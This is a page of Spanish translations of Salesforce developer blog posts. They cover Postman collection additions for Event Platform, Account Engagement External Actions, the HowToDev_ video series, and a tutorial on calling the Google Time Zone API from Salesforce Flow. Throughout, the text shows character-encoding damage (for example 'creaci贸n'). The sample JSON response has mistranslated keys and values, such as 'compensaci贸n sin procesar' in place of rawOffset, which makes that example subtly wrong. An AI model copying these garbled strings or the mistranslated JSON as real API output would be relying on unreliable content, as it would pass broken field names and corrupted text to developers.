Hemos introducido una serie de solicitudes para realizar operaciones de creaci贸n, lectura, actualizaci贸n y eliminaci贸n (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las 煤nicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo est谩 disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicaci贸n. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuraci贸n de retransmisi贸n de eventos

La carpeta Configuraci贸n de retransmisi贸n de eventos es donde se encuentran la mayor铆a de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuraci贸n de Event Relay
  • Comentarios de retransmisi贸n de eventos de consultor铆a

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son 煤tiles para recuperar los campos de los eventos.

Lo que nos depara la colecci贸n Postman

Invertimos continuamente en nuestra colecci贸n de API de plataforma y buscamos agregar soporte para la suscripci贸n a eventos de la API Pub Sub. CometD no ser谩 compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el a帽o pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga 煤til, ya que est谩 comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva caracter铆stica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas 煤tiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripci贸n general de Event Platform y las 煤ltimas incorporaciones a la colecci贸n de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar r谩pidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, h谩ganoslo saber. Tambi茅n puede echar un vistazo a nuestras otras colecciones de c贸digo abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Comenzando con Acciones Externas 鈽侊笍

Comenzando con Acciones Externas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Introducci贸n a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este a帽o, as铆 como a trav茅s de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Segu铆a surgiendo una pregunta: "驴C贸mo empiezo con las acciones externas?" En esta publicaci贸n, aprender谩 qu茅 son las acciones externas, c贸mo configurarlas y c贸mo probarlas. Adem谩s, sintonice una pr贸xima sesi贸n de codeLive el 20 de julio a las 10 a. m. PT , donde realizar茅 una demostraci贸n de codificaci贸n en vivo para mostrarle c贸mo crear una acci贸n externa y responder sus preguntas.

驴Qu茅 son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acci贸n en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatizaci贸n de la participaci贸n de la cuenta en funci贸n de un evento de participaci贸n que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicaci贸n de extensibilidad de automatizaci贸n para un servicio, por lo que puede tener una extensi贸n de aplicaci贸n de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensi贸n de aplicaci贸n de marketing. En el momento de escribir este art铆culo, las actividades externas a煤n no se pueden empaquetar, pero eventualmente tambi茅n se empaquetar谩n en la extensi贸n de la aplicaci贸n de marketing.

Si desea conectar una aplicaci贸n de terceros para automatizar la ejecuci贸n de una acci贸n de prospecto en ese sistema, entonces esta es definitivamente la funci贸n para usted. En esta publicaci贸n, profundizaremos en el lado de la acci贸n externa de las extensiones de aplicaciones de marketing.

驴Cu谩les son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, 隆dir铆a absolutamente todo! Puede que est茅s pensando: 鈥溌laro, todo el mundo dice eso!鈥. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustar铆a que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aqu铆>", entonces deseaba una acci贸n externa.

Puede usar una acci贸n externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). Tambi茅n puede usar una acci贸n externa para enviar un mensaje SMS a trav茅s de Twilio, que presentamos en una publicaci贸n de blog anterior . Incluso puedes usar acciones externas con webhooks; Us茅 la funci贸n de captura de webhook de Zapier para crear una acci贸n externa que usaba un cliente potencial como desencadenante de un Zap.

驴Qu茅 constituye una acci贸n externa?

Una acci贸n externa consta de una acci贸n invocable de Apex, metadatos de la extensi贸n de la aplicaci贸n de marketing, metadatos de una acci贸n externa y una forma de gestionar la autenticaci贸n. Los metadatos para las extensiones de la aplicaci贸n de marketing y las actividades externas conectan la acci贸n invocable con la participaci贸n de la cuenta. Los componentes que se usar谩n para la autenticaci贸n pueden variar seg煤n el tipo de autenticaci贸n que admita el servicio. Como OAUTH 2.0 es bastante com煤n, el componente que uso m谩s es un proveedor de autorizaci贸n y Credenciales con nombre . Las credenciales con nombre tambi茅n facilitan la administraci贸n de la autenticaci贸n en mi c贸digo, y el sistema hace la mayor parte del trabajo.

驴Qu茅 habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitar谩 algunas habilidades en ciertas 谩reas para construir con 茅xito una acci贸n externa. Los siguientes son temas clave de los que necesitar谩 una comprensi贸n b谩sica antes de abordar su propia acci贸n externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener 茅xito en general. Recomiendo aprender Visual Studio y el proceso de implementaci贸n de la CLI. No se necesita maestr铆a, solo lo b谩sico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentaci贸n de la API REST

El patr贸n del que hablamos en este art铆culo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acci贸n externa, debe poder leer una especificaci贸n API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementaci贸n de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendar铆a, como m铆nimo, familiarizarse con la compilaci贸n y la implementaci贸n de c贸digo Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener m谩s informaci贸n, encontr茅 煤til el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el c贸digo de la aplicaci贸n de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creaci贸n de una interfaz de usuario para controlar las entradas durante la prueba. Si est谩 familiarizado con Engagement Studio, Flow ser谩 bastante f谩cil ya que tiene muchos de los mismos conceptos. Utilic茅 la ruta Crear flujos con Flow Builder para ponerme al d铆a. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creaci贸n de todo tipo de automatizaci贸n de procesos comerciales.

驴C贸mo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman tambi茅n proporciona una manera f谩cil de generar ejemplos.
  • CLI de Visual Studio + Salesforce 鈥 Uso Visual Studio para codificar mi acci贸n invocable y la implemento en mi organizaci贸n de desarrollador. La mayor铆a de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este art铆culo, solo admitimos paquetes de primera generaci贸n (1GP) , por lo tanto, no configure su organizaci贸n de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acci贸n invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver r谩pidamente el c贸digo o ver los registros de sus pruebas de flujo de pantalla.

Patr贸n b谩sico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patr贸n b谩sico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acci贸n invocable, e InvocableMethod , que es el m茅todo a llamar al ejecutar la acci贸n invocable. Puede ver c贸mo se aplican en el siguiente c贸digo de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi c贸digo en dos clases facilita jsonificar la carga 煤til. Mi clase de entrada contiene todos los campos de variables invocables que la acci贸n invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construir谩 la carga 煤til a partir de la entrada, la convertir谩 a JSON y luego la agregar谩 a la solicitud HTTP. A continuaci贸n, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el m茅todo. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error 煤til para diagnosticar un problema.

Consideraci贸n importante: el marco de acci贸n externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el 茅xito. Si se devuelve un error, se informar谩 en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acci贸n externa, encontrar谩 errores. Cuanto m谩s pueda probar sobre la marcha, m谩s f谩cil ser谩 descubrir d贸nde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuraci贸n de la acci贸n externa de la imagen, por lo que si la verifica aqu铆, pero no funciona en Engagement Studio, sabr谩 que el problema radica en la configuraci贸n de la acci贸n externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa ra铆z y corregirlos es otra cosa. A continuaci贸n se presentan algunas de las t茅cnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi c贸digo. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigaci贸n de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integraci贸n B2BMA, para poder ver mis registros de Apex y diagnosticar el problema m谩s a fondo. Tenga cuidado, podr铆a terminar con una gran cantidad de datos. El Usuario de Integraci贸n B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acci贸n externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acci贸n externa que result贸 en una falla. Es 煤til ver lo que sucedi贸 durante una ejecuci贸n de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su direcci贸n de correo electr贸nico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones ir铆a al buz贸n de correo de ejemplo@ejemplo.com. Por ejemplo, us茅 esto para probar el ejemplo de registro de Zoom porque no quer铆a que el correo electr贸nico registrado rebotara.

Errores comunes

Los errores van a suceder, as铆 es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acci贸n exterior sea activa. Si la acci贸n no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensi贸n de la aplicaci贸n de marketing como la acci贸n externa, adem谩s de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex est茅 activa. La mayor铆a de las veces ya estar谩 marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es f谩cil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cu谩ntas veces busco acciones externas, solo para tener un momento de confusi贸n antes de recordar.

Finalmente, si su acci贸n externa no funciona, pero no ve errores, verifique que la acci贸n invocable fue dise帽ada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegr铆as. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

驴Que estas esperando? 隆Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde c贸mo funciona la funci贸n hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustar铆a hacer algo cuando el cliente potencial haga esto", y lo ayudar谩 a automatizar esa acci贸n.

Entonces, configure su entorno de desarrollador, revise la aplicaci贸n de referencia y comience a construir su acci贸n externa hoy. El 20 de julio a las 10 a. m. (hora del Pac铆fico) , realizaremos una sesi贸n de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , as铆 que 煤nase y s铆ganos mientras construimos una extensi贸n de la aplicaci贸n de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente s茅nior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante m谩s de cuatro a帽os y tiene m谩s de 13 a帽os de experiencia en gesti贸n de productos, trabajando principalmente en plataformas que van desde la atribuci贸n de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qu茅 es posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Presentamos HowToDev_ 鈽侊笍

Presentamos HowToDev_ 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnol贸gicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, 隆HowToDev_ es la serie para usted!

En esta nueva serie, aprender谩 a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce l铆deres en la industria. Ser茅 su anfitri贸n y, en cada episodio, lo explicar茅 c贸mo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripci贸n general de la plataforma de Salesforce

La plataforma de Salesforce re煤ne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripci贸n general de Salesforce Platform y c贸mo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicaci贸n y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

隆Vamos a codificar!

隆Espera un segundo! Hay algunas cosas que necesita saber aqu铆 antes de abrir ese entorno de desarrollo. Aqu铆 hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la funci贸n de los metadatos, que representan toda la configuraci贸n, la automatizaci贸n y la interfaz de usuario en el entorno de Salesforce.

Definici贸n de qu茅 son una aplicaci贸n y una organizaci贸n en Salesforce: aclaramos los conceptos de una aplicaci贸n y una organizaci贸n en Salesforce, subrayando su distinci贸n con respecto a las aplicaciones y organizaciones tradicionales.

Creaci贸n del objeto de propiedad : demostramos el proceso de creaci贸n de un objeto personalizado (el objeto de propiedad) en Configuraci贸n de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotizaci贸n y D铆as en el mercado), que resaltan la naturaleza din谩mica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrir谩 la serie, prometiendo una futura exploraci贸n de la codificaci贸n y la resoluci贸n de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensi贸n de estos conceptos, 隆podemos abrir la CLI en el Episodio 2 !

D贸nde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, 隆as铆 que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripci贸n general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: C贸digo en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatizaci贸n con flujo y disparadores
Episodio 6: Completar y lanzar su aplicaci贸n Salesforce

M谩s recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrar谩 todo el c贸digo, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. 脷nase a la b煤squeda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. Tambi茅n recibir谩 una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misi贸n en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pac铆fico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver c贸digo de muestra y proyectos.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

脷ltima actualizaci贸n el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo puede aprovechar la API de zona horaria de Google para actualizar autom谩ticamente la informaci贸n de zona horaria de un cliente potencial en funci贸n de sus coordenadas geogr谩ficas?

Objetivos:

Despu茅s de leer este blog, podr谩:

Jestilla Zetkin se desempe帽a actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desaf铆o 煤nico. El objetivo es asegurarse de que, en el momento de la creaci贸n, los prospectos de Salesforce (creados a trav茅s de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en funci贸n de sus respectivas coordenadas geogr谩ficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar autom谩ticamente cuatro campos espec铆ficos en los clientes potenciales:
    1. dstOffset (la compensaci贸n del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicaci贸n dada)
    3. timeZoneId (una cadena que identifica de forma 煤nica la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acci贸n de contingencia para crear una tarea para el propietario designado del cliente potencial.

驴Qu茅 es la API de zona horaria de Google?

Hay muchas posibilidades de que su base de clientes est茅 repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes autom谩ticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar autom谩ticamente la zona horaria del cliente potencial en funci贸n de sus coordenadas geogr谩ficas.

La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicaci贸n en todo el mundo en funci贸n de las coordenadas de latitud y longitud. Este servicio puede ser particularmente 煤til para los desarrolladores que necesitan ajustar la comunicaci贸n de acuerdo con la ubicaci贸n geogr谩fica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente informaci贸n:

  • El ID de la zona horaria , seg煤n lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google est谩 sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

C贸mo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aqu铆 hay un ejemplo b谩sico de c贸mo usarlo.

La siguiente solicitud HTTP GET obtiene informaci贸n de zona horaria para una ubicaci贸n en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que est谩 realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aqu铆 hay una respuesta de muestra en formato JSON que la API podr铆a devolver:


{ "dstOffset": 3600, "compensaci贸n sin procesar": -18000, "estado": "OK", "timeZoneId": "Am茅rica/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente informaci贸n:

  1. dstOffset : La compensaci贸n del horario de verano en segundos. Ser谩 cero si la zona horaria no est谩 en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. 鈥淥K鈥 significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "Am茅rica/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el par谩metro de marca de tiempo y el par谩metro de ubicaci贸n espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, seg煤n la zona horaria de la ubicaci贸n.
  2. Ubicaci贸n : una tupla de latitud, longitud separada por comas, ubicaci贸n = 40.712776, -74.005974, que representa la ubicaci贸n para buscar.

Adem谩s, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisi贸n : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicaci贸n en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es f谩cil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es f谩cil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace 煤til para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integraci贸n : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones m贸viles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programaci贸n de comunicaciones en diferentes franjas horarias, etc.
  6. Informaci贸n actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, est茅n siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturaci贸n y la API de zona horaria habilitada. Aqu铆 hay una gu铆a paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, tambi茅n puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturaci贸n

Debe vincular una cuenta de facturaci贸n a su proyecto para usar la API de zona horaria de Google. As铆 es c贸mo:

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y haga clic en Facturaci贸n .
  2. Si tiene una o m谩s cuentas de facturaci贸n, elija una cuenta y as贸ciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturaci贸n y luego as贸ciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturaci贸n, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecci贸nela.
  3. En la p谩gina de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el bot贸n + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se crear谩 y se mostrar谩. C贸pielo y gu谩rdelo de forma segura. Necesitar谩 esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud est谩 todo configurado y puede comenzar a usar la API de zona horaria de Google.

馃憠 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticaci贸n, esta gu铆a se enfoca en el m茅todo de clave de API m谩s simple por razones de brevedad. Si necesita un m茅todo de autenticaci贸n m谩s seguro o complejo, consulte la documentaci贸n de autenticaci贸n oficial de Google.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatizaci贸n como Apex Trigger y otras, utilizaremos Salesforce Flow y la funci贸n de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o env铆a datos entre la base de datos de Salesforce y un sistema externo a trav茅s de Flow Builder sin usar c贸digo. Puede configurar integraciones directas seg煤n sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Despu茅s de configurar la acci贸n de llamada HTTP en un flujo, Flow Builder genera autom谩ticamente un registro de servicio externo , una acci贸n invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuaci贸n, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener informaci贸n de direcciones usando una API de mapa
  • Obt茅n las condiciones meteorol贸gicas con una API de servicios meteorol贸gicos
  • Genere el c贸digo de barras con una API de servicio de c贸digo de barras
  • Obtenga informaci贸n de autorizaci贸n de pago con una API de procesamiento de pagos
  • y mucho m谩s

Antes de discutir la soluci贸n, perm铆tame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatizaci贸n.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una f贸rmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisi贸n para verificar el c贸digo de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servir谩n como repositorios para los datos de respuesta de la API de zona horaria de Google.

